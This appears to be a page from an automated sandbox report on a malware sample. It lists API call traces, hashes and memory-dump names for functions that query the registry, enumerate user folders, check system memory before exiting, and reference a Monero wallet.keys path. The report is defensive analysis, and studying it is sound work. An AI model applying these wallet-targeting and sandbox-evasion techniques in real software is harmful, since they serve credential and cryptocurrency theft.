Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 36815791c22d20f5fe35e05622ed6bbae0e19ed550fdbf7fb112ba52616bcaf4
Instruction ID: 7e84314f14ad92bf4375d230c04fc84c886649357190e4b5d394b613c8e79650
Opcode Fuzzy Hash: 36815791c22d20f5fe35e05622ed6bbae0e19ed550fdbf7fb112ba52616bcaf4
Instruction Fuzzy Hash: 60312DB4A00209EFDB28CF95D985FAE7BF5FF48340F108168E915A7290D778A941CFA1

Function 005F4780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0164DB78), ref: 005F47DB

Part of subcall function 005F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 005F8E0B

lstrcat.KERNEL32(?,00000000), ref: 005F4801
lstrcat.KERNEL32(?,?), ref: 005F4820
lstrcat.KERNEL32(?,?), ref: 005F4834
lstrcat.KERNEL32(?,0163B2E8), ref: 005F4847
lstrcat.KERNEL32(?,?), ref: 005F485B
lstrcat.KERNEL32(?,0164D598), ref: 005F486F

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005F8D90: GetFileAttributesA.KERNEL32(00000000,?,005E1B54,?,?,0060564C,?,?,00600E1F), ref: 005F8D9F

Part of subcall function 005F4570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 005F4580
Part of subcall function 005F4570: RtlAllocateHeap.NTDLL(00000000), ref: 005F4587
Part of subcall function 005F4570: wsprintfA.USER32 ref: 005F45A6
Part of subcall function 005F4570: FindFirstFileA.KERNEL32(?,?), ref: 005F45BD

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: cdf3abb82bbcb3f3da0d63a95a14eb3b5f6b712a6b3dacfe2bccb189f407cfe2
Instruction ID: 284ad05cd5e439ba864fe3113ae9b25a98d4f6a0c0cc022b6e2c023cbce78140
Opcode Fuzzy Hash: cdf3abb82bbcb3f3da0d63a95a14eb3b5f6b712a6b3dacfe2bccb189f407cfe2
Instruction Fuzzy Hash: 533162B690020DA7CB24F7B0DC89EF97778BF88700F404599B35996081EEB4D6898F96

Function 005E1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 005E123E
__aulldiv.LIBCMT ref: 005E1258
__aulldiv.LIBCMT ref: 005E1266
ExitProcess.KERNEL32 ref: 005E1294

Strings

@, xrefs: 005E1233

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: f906acb599eef16b9b914eb555925a22ae31820c99eb63ada60597542948eabf
Instruction ID: 89e1cb7471259b8bee99a0c70813307d8736d7ca0e5e751b36d81fc72423e7b3
Opcode Fuzzy Hash: f906acb599eef16b9b914eb555925a22ae31820c99eb63ada60597542948eabf
Instruction Fuzzy Hash: 16014BB0940348ABEB14DBE2CC49BAEBF78BB54701F208048E745B62C0D6B85645879D

Function 005F40B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,0164D6D8,00000000,00020119,?), ref: 005F40F4
RegQueryValueExA.ADVAPI32(?,0164DDA0,00000000,00000000,00000000,000000FF), ref: 005F4118
RegCloseKey.ADVAPI32(?), ref: 005F4122
lstrcat.KERNEL32(?,00000000), ref: 005F4147
lstrcat.KERNEL32(?,0164DD40), ref: 005F415B

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: ff7a24779702d7e0fd18da76df0518540c1b19d408379f930cadc27ccf6c6298
Instruction ID: aa0a70efa4705b7c217ce40700de6459e4434f740b77a9942e07133694d5864c
Opcode Fuzzy Hash: ff7a24779702d7e0fd18da76df0518540c1b19d408379f930cadc27ccf6c6298
Instruction Fuzzy Hash: E6418BB6D001096BDB28EBA0DC4AFFE773DBF88300F008559B71656181EA755B898F92

Function 6C66C930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C66C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C66C969
GetSystemInfo.KERNEL32(?), ref: 6C66C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C66C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C66C9E2

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 806fa9ef3eff5ea6525273a450e0815cbe3cf0fefe36be85dbd594e156b38404
Instruction ID: 8beecf542c0bdd91edfb1ad2115f65f53b1c160ab50849b684cb1bda7047f29d
Opcode Fuzzy Hash: 806fa9ef3eff5ea6525273a450e0815cbe3cf0fefe36be85dbd594e156b38404
Instruction Fuzzy Hash: 5221C531741A147BDB14AE67CCC4BAE72B9AB86744F50061AF903A7E80DB60780087AE

Function 005F7E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 005F7E37
RtlAllocateHeap.NTDLL(00000000), ref: 005F7E3E
RegOpenKeyExA.KERNEL32(80000002,0163BCB0,00000000,00020119,?), ref: 005F7E5E
RegQueryValueExA.KERNEL32(?,0164D678,00000000,00000000,000000FF,000000FF), ref: 005F7E7F
RegCloseKey.ADVAPI32(?), ref: 005F7E92

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 69bb466a487a79c2c4870b73f2e0f6210884b0adebbb414764603f7ba7736aad
Instruction ID: dd9728c95cbffb64de7fd453399418b58fe25d836d742395c66804da63aea235
Opcode Fuzzy Hash: 69bb466a487a79c2c4870b73f2e0f6210884b0adebbb414764603f7ba7736aad
Instruction Fuzzy Hash: FD114FB1A44209EBD718CF94DD49F7BBBBCFB08710F10855AF705A7280D77859018BA1

Function 005E12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 005E12B4
RtlAllocateHeap.NTDLL(00000000), ref: 005E12BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 005E12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 005E12F5
RegCloseKey.ADVAPI32(?), ref: 005E12FF

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: ebcbe25669c64512609e28f717ccf7e39e23797f6e48cff66fa99c4be0b8b25d
Instruction ID: 17e727a9a2e5779b9944122cee01a2d9d28789de388efe4ca51a9f3e65bafbbd
Opcode Fuzzy Hash: ebcbe25669c64512609e28f717ccf7e39e23797f6e48cff66fa99c4be0b8b25d
Instruction Fuzzy Hash: F401CDB9A40208BFDB18DFE4DC49FAEB7B8FF48701F108159FA45A7280D6759A018B55

Function 005EA0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(01648920,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 005EA0BD
LoadLibraryA.KERNEL32(0164D458), ref: 005EA146

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005FA820: lstrlen.KERNEL32(005E4F05,?,?,005E4F05,00600DDE), ref: 005FA82B
Part of subcall function 005FA820: lstrcpy.KERNEL32(00600DDE,00000000), ref: 005FA885

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01648A20,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA920: lstrcpy.KERNEL32(00000000,?), ref: 005FA972
Part of subcall function 005FA920: lstrcat.KERNEL32(00000000), ref: 005FA982

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

SetEnvironmentVariableA.KERNEL32(01648920,00000000,00000000,?,006012D8,?,?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00600AFE), ref: 005EA132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 005EA0B2, 005EA0C6, 005EA0DC

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-4027016359
Opcode ID: fa7bebd425fa65e3a5456f7650340e81f29bb395ed66c9c815a83cccc2056168
Instruction ID: b3a24c8275ca232483d0baecb86eb3fefeb778e1dae321422ba5300f4edeab1d
Opcode Fuzzy Hash: fa7bebd425fa65e3a5456f7650340e81f29bb395ed66c9c815a83cccc2056168
Instruction Fuzzy Hash: EA4195B1901105AFCB2CDFA4EC49BAE3BB5FF58301F048028F545A32A1EB359946CB53

Function 005EA260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01648A20,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

